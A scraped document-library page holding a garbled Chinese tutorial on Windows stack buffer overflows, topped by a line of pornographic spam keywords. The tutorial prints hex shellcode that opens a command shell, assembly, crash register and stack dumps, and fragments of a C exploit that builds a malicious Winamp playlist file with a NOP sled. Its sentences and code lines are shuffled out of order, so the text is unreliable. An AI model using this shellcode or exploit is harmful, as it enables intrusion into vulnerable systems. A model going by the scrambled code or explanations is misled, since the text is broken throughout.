freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

windows系統(tǒng)下的堆棧溢出(留存版)

  

【正文】 0x37\0x38\0x39\0x31\0x30\0x31\0x31\0x31\0x32\0x31 \0x33\0x31\0x34\0x31\0x35\0x31\0x36\0x31\0x37\0x31\0x38\0x31\0x39\0x32\0x30\0x32 到這里,又出現(xiàn)了那個(gè)熟悉的對(duì)話框“改程序執(zhí)行了非法操作。 char dllbuf[11] = 。 DLL本身也有一個(gè)基本地址,該 DLL每一次被加載都是從這個(gè)基本地址加載。 18: 19: (ProcAdd) (cmdbuf)。 mov byte ptr [ebp09h],6Dh 。這是肯定的,因?yàn)槲覀兊某绦蛞呀?jīng)把堆棧指針搞亂了。 大家知道 windows 系統(tǒng)的用戶(hù)進(jìn)程空間是 02G,操作系統(tǒng)所占的為 24G。因此,我們可以令返回地址 A等于一個(gè)系統(tǒng)核心 dll中的指令的地址,這個(gè)指令的 作用就是 call/jmp 我們的 shellcode。 大家都有 winamp 吧,他的 有緩沖區(qū)漏洞,下面我們來(lái)實(shí)現(xiàn)一個(gè) exploit。 break。 fprintf(file, \nNumberOfEntries=1)。 我們的 shellcode 要開(kāi)一個(gè) dos 窗口。 FILE *file。 Registers: EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206 EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4 ECX=00000000 DS=0187 ESI=00445638 FS=444f EDX=005b02dc ES=0187 EDI=00000001 GS=4446 Bytes at CS:EIP: 00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b Stack dump: 0a006da1 8000009d 0000442a 90000000 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 看看出錯(cuò)信息, EIP 是 4200c3,看來(lái)已經(jīng)開(kāi)始執(zhí)行我們的 shellcode了,怎么會(huì)有無(wú)效頁(yè)錯(cuò)誤呢?看來(lái)我們的 shellcode有問(wèn)題。 fprintf(file, File1=)。因?yàn)?windows 的 patch 天天有,他的一些 dll就更新很快。 后來(lái), NT的中普通用戶(hù)獲取 admin,我想到過(guò)仿照 UNIX,搞緩沖區(qū)溢出攻擊。如果大家能夠提出改進(jìn)的算法,或者 發(fā)現(xiàn)新的 exploit,就真正是光大了我們黑客版的精神。對(duì)此, dark spyrit AKA Barnaby Jack 曾有這樣的建議: If the exploit failed...... Do not determine the threat to your servers solely on the results of one public exploit the vulnerability exists, fix it. If you think that was the only demonstration code floating around you need your head examined. 以前咱們水木黑客版 97 年堆棧溢出大討論的時(shí)候, rainer 就很高水平的探討過(guò) windows 下的 buffer overflow。 另外,大家從破解的過(guò)程中,可以發(fā)現(xiàn)我一再?gòu)?qiáng)調(diào) windows 的版本。x++) { buffer[x] = 0x90。 printf(\t created file loaded with the exploit.\n)。版本: () 由于里面有 0,所以使用兩條指令來(lái)完成: mov edx,0xFFFFFFFF sub edx,0x87FFAAFB//==mov edx,0x78005504 編譯,找出二進(jìn)制 code: shellcode: \x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53 \xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6 \x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8D\x45\xF4\x50 \xFF\x55\xF0 \x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E \x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4 \x50\xB8\x24\x98\x01\x78\xFF\xD0 \x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x50\xFF\x55\xFC。看看softice 里 面 的 進(jìn) 程 名 稱(chēng) 欄 :Kernel32!GetDataFormatA+1554好,是,肯定是可以用的啦。 fprintf(file, File1=)。break。不過(guò)一般的說(shuō),這幾個(gè)dll就夠了。我不得不說(shuō)這是一個(gè)天才的想法。我們已經(jīng)知道了在windows 系統(tǒng)下如何獲得一次堆棧溢出,如何計(jì)算偏移地址,以及如何編寫(xiě)一個(gè) shellcode 以得到 dos。調(diào)用 system } } 編譯,然后運(yùn)行。用來(lái)放 。現(xiàn)在, eax 的值為 0x78019824 就是system 的真實(shí)地址。這就是所謂的Dll39。 首先,考慮一下我們的 shellcode要作什么?顯然,根據(jù)以往的經(jīng)驗(yàn),我們想開(kāi)一個(gè) dos 窗口,這樣在這個(gè)窗口下,我們就可以作很多事情。那么我們可以給程序一個(gè)很長(zhǎng)的串,肯定可以覆蓋堆棧中的返回地址。 gets(name)。那么, name 的開(kāi)始地址是多少呢? 通過(guò)上面的 stack dump 我們可以看到,當(dāng)前 ESP所指向的地址 0x0064fe00,內(nèi)容為 0x32383237,那么計(jì)算得出 , name的 開(kāi) 始 地 址 為 :0x0064fe0044=0x64fdd4。 (ProcAdd) (cmdbuf)。 所以,要想執(zhí)行 system,我們必須首先使用 LoadLibrary()裝載動(dòng)態(tài)鏈接庫(kù) ,獲得動(dòng)態(tài)鏈接庫(kù)的句柄 。保存 ebp, esp- 4 mov ebp,esp 。 mov byte ptr [ebp04h],63h 。 ret = (int *)amp。 其次, windows 在執(zhí)行 mov esp, ebp的時(shí)候,把廢棄不用的堆棧用隨機(jī)數(shù)據(jù)填充(實(shí)驗(yàn)所得,機(jī)制如何,大家一起研究),因此我們的 shellcode 可能會(huì)被覆蓋?。@下完蛋了,我們的shellcode 都沒(méi)了,返回地址正確又有什么用?? 所以,我們的 shellcode必須改成如下方式:NNNNNNNNNNNNNNNNNASSSSSSSSS,在緩沖區(qū)溢出發(fā)生之后,堆棧的布局如下: 內(nèi)存底部 內(nèi)存頂部 buffer EBP ret [NNNNNNNNNNN][N ] [A ]SSSS ^amp。這些寄存器的值,我們可以在第一講里面提到的“關(guān)閉程序框”里面獲得寄存器和堆棧的詳細(xì)資料。 char eip[8] = 。 case 3: buffer[x] = 39。我就不講了,其中 buffer 的內(nèi)容為測(cè)試用的字符串。 push ebp mov ebp,esp mov edx,0xFFFFFFFF sub edx,0x87FFAAFB//exit push edx xor eax,eax push eax call dword ptr[ebp04h] 簡(jiǎn)單說(shuō)一下, 是運(yùn)行 C 語(yǔ)言標(biāo)準(zhǔn)庫(kù)函數(shù)所必須的一個(gè)動(dòng)態(tài)鏈接庫(kù)。 fprintf(file, [playlist]\n)。 我在第 4 講第一節(jié)就說(shuō)過(guò)對(duì)這種問(wèn)題的對(duì)策。 fclose(file)。但是,這也無(wú)法消除對(duì) LoadLibrary和 GetProcAddress 的地址的直接引用,因?yàn)檫@兩個(gè)是 shell
點(diǎn)擊復(fù)制文檔內(nèi)容
公司管理相關(guān)推薦
文庫(kù)吧 www.dybbs8.com
備案圖鄂ICP備17016276號(hào)-1